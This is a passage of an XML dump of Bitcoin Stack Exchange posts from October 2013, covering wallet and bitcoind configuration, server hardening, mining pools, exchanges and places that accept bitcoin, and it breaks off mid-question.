  <row Id="13862" PostTypeId="2" ParentId="9073" CreationDate="2013-10-18T09:45:32.313" Score="0" Body="&lt;p&gt;Unless you know a local restaurant that accepts bitcoins directly, you will have to use a service, such as pizzaforcoins, which will basically accept your bitcoins and then order the for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few restuarants, such as lean crusts in Brooklyn which directly accepts bitcoin, so you should google for restaurants in your area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-18T09:45:32.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13863" PostTypeId="2" ParentId="7338" CreationDate="2013-10-18T09:54:31.290" Score="0" Body="&lt;p&gt;I have never traded options, so you should make sure that you look into any details before trading. Just keep yourself safe!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here are some sites I found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://options.bbinary.com/GetUnlimited100Bonus/v2/en/?campaign=4189&amp;amp;p=about%20options%20trading&quot; rel=&quot;nofollow&quot;&gt;http://options.bbinary.com/GetUnlimited100Bonus/v2/en/?campaign=4189&amp;amp;p=about%20options%20trading&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://campbx.com/&quot; rel=&quot;nofollow&quot;&gt;https://campbx.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.btclevels.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.btclevels.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-18T09:54:31.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13865" PostTypeId="2" ParentId="8892" CreationDate="2013-10-18T10:51:45.707" Score="1" Body="&lt;p&gt;I prefer to use the Bitcoin comparison tool found at: &lt;a href=&quot;http://cheapbitcoins.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://cheapbitcoins.co.uk&lt;/a&gt; - you can get the best prices for in GBP, because most bitcoin exchanges are not based in the UK.&lt;/p&gt;&#xA;" OwnerUserId="7152" LastEditorUserId="7152" LastEditDate="2013-10-21T08:32:10.263" LastActivityDate="2013-10-21T08:32:10.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13866" PostTypeId="2" ParentId="9073" CreationDate="2013-10-18T12:16:09.073" Score="0" Body="&lt;p&gt;There are some order-services like &lt;a href=&quot;http://foodler.com&quot; rel=&quot;nofollow&quot;&gt;Foodler&lt;/a&gt; which allow you to pay with bitcoin for food. Whether there is a brick and mortar store in your vicinity that directly accepts bitcoin for pizza is hard to tell without knowing your location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to see by looking through one of the lists of places that accept bitcoin such as found at &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Consumables&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trade#Consumables&lt;/a&gt; or &lt;a href=&quot;https://www.spendbitcoins.com/places/&quot; rel=&quot;nofollow&quot;&gt;spendbitcoins.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-18T12:16:09.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13867" PostTypeId="1" AcceptedAnswerId="13869" CreationDate="2013-10-18T14:02:25.770" Score="4" ViewCount="911" Body="&lt;p&gt;Input: any old Bitcoin address e.g. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1BCNEPySL4gzzjg8NNyNsQYJWYmZwpgaPF&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output: the FirstBits, in this case &lt;strong&gt;1BCN1u&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2017-03-13T11:44:33.210" Title="Is there a web service that does reverse FirstBits lookup?" Tags="|firstbits|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13868" PostTypeId="1" CreationDate="2013-10-18T14:20:03.293" Score="0" ViewCount="1640" Body="&lt;p&gt;A friend and I want to create a simple webservice for ourselves, that can do transactions from our wallets. We want to keep our wallets separate. So how can we exchange the wallet that bitcoin-qt uses without restarting the application? Is that possible? Or is there another bitcoin client with a JSON-RPC or similar that we can use for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;The plan is that we have a simple webinterface (PHP-based) where we enter the receiver, the amount, the username (will correspond to the name of the wallet file) and the wallet password. The script would then send the data to bitcoin-qt (or whatever we use) which will then execute the transaction. Also, it should be possible to view the amount of BTC that each wallet has (After entering the password of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a dedicated server, everything will run on that.&lt;/p&gt;&#xA;" OwnerUserId="548" LastEditorUserId="548" LastEditDate="2013-10-18T18:36:05.137" LastActivityDate="2013-10-19T01:41:05.243" Title="How to change the wallet on the fly with bitcoin-qt" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13869" PostTypeId="2" ParentId="13867" CreationDate="2013-10-18T14:24:26.160" Score="4" Body="&lt;p&gt;Blockchain.info has APIs to generate and resolve firstbits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get firstbits,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/q/getfirstbits/1BCNEPySL4gzzjg8NNyNsQYJWYmZwpgaPF&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/getfirstbits/1BCNEPySL4gzzjg8NNyNsQYJWYmZwpgaPF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get address,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/q/resolvefirstbits/1paypal&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/resolvefirstbits/1paypal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/q/resolvefirstbits/1ebay&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/resolvefirstbits/1ebay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/q/resolvefirstbits/1google&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/q/resolvefirstbits/1google&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-10-18T14:24:26.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13870" PostTypeId="2" ParentId="13835" CreationDate="2013-10-18T16:21:35.557" Score="0" Body="&lt;p&gt;One idea would be to take &lt;a href=&quot;https://bitcointalk.org/index.php?topic=221055.0&quot; rel=&quot;nofollow&quot;&gt;the historical data from Mt. Gox&lt;/a&gt;. Once the list is done downloading parse/import the historical data databases, and also parse the Bitcoin block chain (use two different SQL tables unless you have a strong database server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here, check how many transactions occurred on the exchange during the block and how many occured on the network ws that time. Throw out any dupes and useless data. I'm sure this is not perfect data that will match up perfectly. Also for each time you are calculating the market depth, only take the value from the current round of Mt. Gox transactions and the unique Bitcoin transactions on the synetwork for the current block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have the historical data, you should get at least a generalization of prices pretty easily.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="1405" LastEditDate="2014-05-17T11:15:18.080" LastActivityDate="2014-05-17T11:15:18.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13871" PostTypeId="2" ParentId="13835" CreationDate="2013-10-18T16:26:03.770" Score="0" Body="&lt;p&gt;Another factor to include when considering the &quot;shared stake&quot; is the hardware cost involved in mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the 65nm ASICs released by Butterfly Labs in 2012-2013 are probably worth more than 1.5 million in orders (by my last estimate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should then include the hardware cost of FPGAs, and dedicated GPU mining rigs though that has a better depreciation because they can be reused.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-10-18T16:26:03.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13872" PostTypeId="2" ParentId="13719" CreationDate="2013-10-18T16:39:31.497" Score="0" Body="&lt;p&gt;there are many, googling &quot;litecoin mining software&quot; will find you some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used:&#xA;&lt;a href=&quot;https://github.com/cbuchner1/CudaMiner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/cbuchner1/CudaMiner&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/ckolivas/cgminer/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckolivas/cgminer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6951" LastActivityDate="2013-10-18T16:39:31.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13873" PostTypeId="1" AcceptedAnswerId="13877" CreationDate="2013-10-18T21:02:37.130" Score="1" ViewCount="2074" Body="&lt;p&gt;I downloaded bitcoin-qt on my computer, and I'm trying to create a PHP web application with bitcoins and am following this guide: &lt;a href=&quot;https://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/PHP_developer_intro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do I change the configuration for bitcoind given that all I can download for a mac is bitcoin-qt? do I need to get a linux VM in order to have something setup? I was thinking of using XAMPP for my Apache MySQL database. &lt;/p&gt;&#xA;" OwnerUserId="7146" LastActivityDate="2013-10-19T02:01:10.467" Title="Bitcoind configuration on Mac OS X?" Tags="|bitcoind|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13874" PostTypeId="2" ParentId="22" CreationDate="2013-10-18T22:53:21.607" Score="0" Body="&lt;p&gt;Yes, following technology progression, once equipment is available that can do 1Thash/sec and above then it becomes feasible to start finding collisions with a reasonable success rate. I'd estimate in circa 2-3 years this will be viable, as to whether anybody attempting it lucks out to get an address which has a decent quantity of BTC associated with it is another thing, and the question as to whether it'd even be profitable is further still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite sure that the odds are much less than the basic math indicates.. if you find a match which is circa 20 chars long, the odds are rather high that the full address will match due to the process involved in generating the key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Skip forward a decade, and this will be far more of a realistic worry, or at the point Thash becomes normal, and Phash is on the cards.. just as GPUs are now dormant and looking for a use, so will mining equipment that hasn't even been invented yet be in a few years.&lt;/p&gt;&#xA;" OwnerUserId="7157" LastActivityDate="2013-10-18T22:53:21.607" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13875" PostTypeId="2" ParentId="10671" CreationDate="2013-10-19T01:11:35.650" Score="2" Body="&lt;p&gt;Its not exactly what you want, &lt;a href=&quot;http://mycelium.com/&quot; rel=&quot;nofollow&quot;&gt;http://mycelium.com/&lt;/a&gt; for Android does it the other way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You keep your private keys safe in QR-code format on a paper or a offline device, then you scan it when you want to make a transaction. Mycelium signs the transaction and forgets about the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to scan with my Android device offline, but it does not work. To be able to select previous outputs to send in the transaction, you need to be online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of any Android app that can take a raw transaction (by QR-code, SD-card, &lt;a href=&quot;https://en.wikipedia.org/wiki/USB_On-The-Go&quot; rel=&quot;nofollow&quot;&gt;OTG&lt;/a&gt;, Bluetooth, &lt;a href=&quot;https://en.wikipedia.org/wiki/Near_field_communication&quot; rel=&quot;nofollow&quot;&gt;NFC&lt;/a&gt; or &lt;a href=&quot;http://chirp.io/&quot; rel=&quot;nofollow&quot;&gt;Chirp&lt;/a&gt;.io) and sign it offline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this feature will be implemented soon.&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2013-10-19T01:11:35.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13876" PostTypeId="2" ParentId="13868" CreationDate="2013-10-19T01:41:05.243" Score="1" Body="&lt;p&gt;First thing: encrypt that Dedicated server's entire hard drive. &#xA;Secondly: encrypt that wallet.dat file&#xA;Thirdly: use EVERY possible method of attack defense you can. Use googleauth for 2 step log in. disable root access. If you must run SSH, run it under a random port. NOT port 22. use tripwire mod_sec/mod_evasive, if you think it might be good... add it. use UFW firewall. Use insane settings. If you only plan to sell to one country: block ALL IP's that are not within that country&#xA;Disable ALL error notifications and disable any information that may allow the attacker to gain any information about what the server is run on (no &quot;this server run on apache centos&quot; etc). I do assume you do know this, but im just giving fair warning.&#xA;Host as few applications beyond the bare minimum. (so no minecraft servers). &#xA;I personally recommend not keeping funds in a hot wallet because ~/.bitcoin/wallet.dat is the most searched for thing by hackers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now... How can you have two different wallets on the same machine? well. there's a few ways to do it... If you want to keep generating infinite new addresses (using infinite seeds) all the time and have a good contingency plan in place for your wallet.dat file (like hourly back up etc), you could run 2 instances of bitcoind. (commandline version is what you want for this) Two instances can be run by changing the listening ports on one of the two bitcoind instances and running each instance on its own user account. you can then (depending on which user you are paying to) have php connect to the respective bitcoin client and request an address for payment.&#xA;Another idea i would propose could be using one bitcoin client and having accounts. If you are okay sharing one wallet and one daemon, but need your own account for accounting balances, its a breeze&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side note&#xA;there are a few projects that actually are pretty good. I started writing a basic bitcoin escrow system based off of my own coding and using  &quot;The Bitcoin Shopping Cart Interface package&quot; and &quot;The Bitcoin Shopping Cart Interface package&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitscrow/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitscrow/&lt;/a&gt;&#xA;I use to have a much more advance version i built for FreiCoin but the wonderful people over at FDCServers destroyed my development server on me (thanks guys). So I am pretty far behind again. However you should at least have an idea of maybe a general direction to start&#xA;This version requires no  bitcoind at all which is pretty unique. But if you want a wallet, then you may need to integrate that yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could also consider installing drupal and modifying the source to have a two different plug ins going to the two different daemons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are many options.&#xA;you can even start from scratch, good documentation is available here.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/PHP_developer_intro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if this was useful or not, and let me know if there is further clarification needed. If you want to truly have your own page it's a lot of work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check out &lt;a href=&quot;https://github.com/Bit-Wasp/BitWasp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Bit-Wasp/BitWasp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been playing around with it and its been pretty cool so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for giving me the information i needed to try and respond as best i can&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2013-10-19T01:41:05.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13877" PostTypeId="2" ParentId="13873" CreationDate="2013-10-19T02:01:10.467" Score="0" Body="&lt;p&gt;I do not mean to sound rude (and i am not trying so I apologize if i come off as such). But you need to read some more documentation and learn the basics of bitcoin.&#xA;This page is a really good place to get ideas &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;&#xA;Tt tells us that we CAN use the -qt version of bitcoin to allow json-rpc by adding a line to the bitcoin.conf file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the bitcoin.conf file is usualy located&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Users/username/Library/Application Support/Bitcoin/bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this line to the bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;server=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the reason it is 1 versus 0 is because we want it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you need to add a username and password for your rpc connections&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rpcuser=insertuserhere&#xA;rpcpassword=passwordgoeshere&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also did you take a look at the documentation for building headless bitcoin before starting? I do not know if there is a bitcoind binary build for macosx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The osx build instructions and notes readme available here runs you through the steps.&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/build-osx.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for development purposes xampp is fine but please do not use it on a production device, it is riddled with security flaws and holes. And if you do not decide to listen to my advice, let me tell you the story of how 150 btc were stolen by my lack of security. I used xampp and i used drupal. i used the security methods described for both. but there was a security flaw that was undiscovered at the time and poof it was gone.&#xA;if you MUST HAVE xampp then please for satoshi's sake harden the server as best you can&#xA;&lt;a href=&quot;https://security.stackexchange.com/questions/15310/securing-firewalls-for-xampp-on-mac-os-x&quot;&gt;https://security.stackexchange.com/questions/15310/securing-firewalls-for-xampp-on-mac-os-x&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if i can help you more. I am more than glad to spend some time running through code. and helping some basic trouble shooting. but my warning: Be careful and do EXTENSIVE testing before you start using bitcoin out in the &quot;Wild Wild West&quot; aka the WorldWideWeb - Many people have such insecure set ups that it is a shock more funds are not stolen. Remember, bitcoins are money, every hacker will want money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for reading, good luck. Keep in touch&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="-1" LastEditDate="2017-03-17T13:21:41.733" LastActivityDate="2013-10-19T02:01:10.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13881" PostTypeId="1" CreationDate="2013-10-19T13:35:11.317" Score="0" ViewCount="167" Body="&lt;p&gt;I am using multibit and I need to buy some bitcoin (real money needed) and sell bitcoin(real money needed too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot find any article on google that guide you how to make the money payment in transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I pay or recieve money when I try to buy or sell bitcoin？&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you so much&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2013-10-19T19:26:50.580" Title="how to make money payment?" Tags="|payment|cash|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-29T01:13:29.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="13882" PostTypeId="2" ParentId="7536" CreationDate="2013-10-19T14:16:55.993" Score="16" Body="&lt;p&gt;I believe that &lt;code&gt;listreceivedbyaddress 0 true&lt;/code&gt; does not list the change addresses that are created as part of the normal client operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from bitcoin 0.7, you should use &lt;code&gt;bitcoind listaddressgroupings&lt;/code&gt; to get all the addresses, and then follow up as usual with &lt;code&gt;dumpprivkey&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-10-19T14:38:32.250" LastActivityDate="2013-10-19T14:38:32.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13883" PostTypeId="1" CreationDate="2013-10-19T15:25:30.137" Score="4" ViewCount="711" Body="&lt;p&gt;At blockchain.info there is a tool to report strange transactions. It is reported that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transactions containing outputs from which we were unable to decode a bitcoin address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to the above statement&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How does the verification work?&lt;/li&gt;&#xA;&lt;li&gt;Are there any patterns that strange transactions follow?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6781" LastActivityDate="2014-10-01T15:48:52.157" Title="What makes a Strange Transaction" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13884" PostTypeId="1" AcceptedAnswerId="13887" CreationDate="2013-10-19T15:35:49.560" Score="-1" ViewCount="5977" Body="&lt;p&gt;Id like to know if there is amining pool that allow us to mine Bitcoins, Namecoins and Litecoins at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kow there is some that allow us to mine Bitcoins and Litecoins but I couldnt find one to mine those three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2014-03-13T15:17:55.940" Title="Is there a Bitcoin, namecoin and litecoin mining pool?" Tags="|litecoin|namecoin|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13885" PostTypeId="2" ParentId="7342" CreationDate="2013-10-19T18:24:50.470" Score="4" Body="&lt;p&gt;Have a look at &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitfinex.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitfinex.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also has trailing stop, limit orders, CFD and margin trades.&lt;/p&gt;&#xA;" OwnerUserId="7166" LastActivityDate="2013-10-19T18:24:50.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13886" PostTypeId="2" ParentId="13881" CreationDate="2013-10-19T19:26:50.580" Score="1" Body="&lt;p&gt;You have to use a Bitcoin exchange. The most popular one is &lt;a href=&quot;https://www.mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other ways but I think this is the safest one and easiest.&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2013-10-19T19:26:50.580" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13887" PostTypeId="2" ParentId="13884" CreationDate="2013-10-19T20:14:32.330" Score="2" Body="&lt;p&gt;Bitcoins and Namecoins can be mined at the same time, because the underlying algorithm is the same. But you can not mine Litecoin and Bitcoin at the same time without the loss of hashes/sec, because it uses different crypto algorithms. Therefore I highly doubt that there is something like you have claimed in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, there is a pool where you can mine a lot of different cryptocurrencies (but separately). &lt;a href=&quot;https://coinotron.com/&quot; rel=&quot;nofollow&quot;&gt;https://coinotron.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-10-19T20:14:32.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13888" PostTypeId="1" AcceptedAnswerId="13898" CreationDate="2013-10-20T03:32:44.890" Score="4" ViewCount="12151" Body="&lt;p&gt;I'm trying to start using an old tower to mine bitcoin and am slowly trying to make sense of the setup…&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Wallet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I signed up for a bitcoin wallet (coinbase) where I am given an id.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pool&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I joined a pool (Slush's Pool) where I verified my email and added my private? id from my wallet.  They registered a first worker for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;login: myusername.worker1&#xA;password: something given&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Miner&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(my hardware doing maths), Xeon processor&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;installed ubuntu server 12.04 64-bit&lt;/li&gt;&#xA;&lt;li&gt;installed bitcoind, &lt;code&gt;sudo apt-get install bitcoind&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;configured bitcoind, &lt;code&gt;vim ~/.bitcoin/bitcoin.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;rpcuser=INVENT_A_UNIQUE_USERNAME&#xA;rpcpassword=INVENT_A_UNIQUE_PASSWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I don't understand is how my pool id is ever connected to what's running on my machine?  I also have no idea what to put for my &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt; to ensure it is unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been reading you can't have a period (&lt;code&gt;.&lt;/code&gt;) in your &lt;code&gt;rpcuser&lt;/code&gt; name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what is the minimum needed in this configuration file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_bitcoind&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_bitcoind&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://techcrunch.com/2013/04/08/how-to-mine-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;http://techcrunch.com/2013/04/08/how-to-mine-bitcoins/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="6218" LastEditDate="2014-10-03T16:12:47.847" LastActivityDate="2014-10-12T03:53:12.817" Title="How to Connect bitcoind to one of your workers in a pool?" Tags="|bitcoind|server|ubuntu|coinbase.com|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13889" PostTypeId="2" ParentId="5243" CreationDate="2013-10-20T03:37:35.807" Score="1" Body="&lt;p&gt;I would say that the depth feed you are reading is of the orders coming in, &lt;strong&gt;before&lt;/strong&gt; they are matched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those orders would feed into the matching engine which would make &lt;em&gt;fair&lt;/em&gt; trades off those orders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not possible to or desirable to make an optimal trade at any given instant. this can be due to network latency (etc)  and because someone might think it would be better to make a trade, that was slightly less than optimal, than to miss out on making a trade (but still not too much up or down);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&#xA;What you will probably find is that if you put in an order to buy 10 btc at $100 but someone else has put in a sell order for 10 at  $99 you order will convert to a trade of $99. The buyer and the seller both get what they wanted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like wise if one seller was willing to sell 5 btc at $95 and someone else was willing 5 btc at $100 you would end up with 2 partial fills to complete the trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in the day on stock markets (i.e., not btc) the exchange (or broker) would just pocket the difference. However this doesn't really happen much now (in my understanding) as the markets are more efficient (fast traded data feeds &amp;amp; order placement + high liquidity) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day both buyers and sellers get what they want, and because there is reasonable liquidity, speed and fast access to market information, people will not be making trades which are too different from what would be optimal.&lt;/p&gt;&#xA;" OwnerUserId="7052" LastEditorUserId="7052" LastEditDate="2013-10-20T03:48:17.103" LastActivityDate="2013-10-20T03:48:17.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13890" PostTypeId="1" CreationDate="2013-10-20T04:07:39.860" Score="8" ViewCount="1173" Body="&lt;p&gt;I couldn't find enough questions that ask this head-on&lt;sup&gt;1&lt;/sup&gt;, so consider that if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoins are designed to reflect the deflationary characteristics of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Hard_money_%28policy%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;specie currency&lt;/a&gt;; &lt;em&gt;and&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;The distributed nature of the cryptocurrency requires a &lt;a href=&quot;http://en.wikipedia.org/wiki/Store_of_value&quot; rel=&quot;nofollow noreferrer&quot;&gt;high intrinsic value&lt;/a&gt; (&lt;a href=&quot;http://www.inscc.utah.edu/~tgarrett/Economics/Physics_of_the_economy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;energy cost&lt;/a&gt;) of the coins to secure them; &lt;em&gt;and&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;That neither deflationary contraction nor high transactional energy costs are desirable qualities of a major currency (see &lt;em&gt;Background&lt;/em&gt; 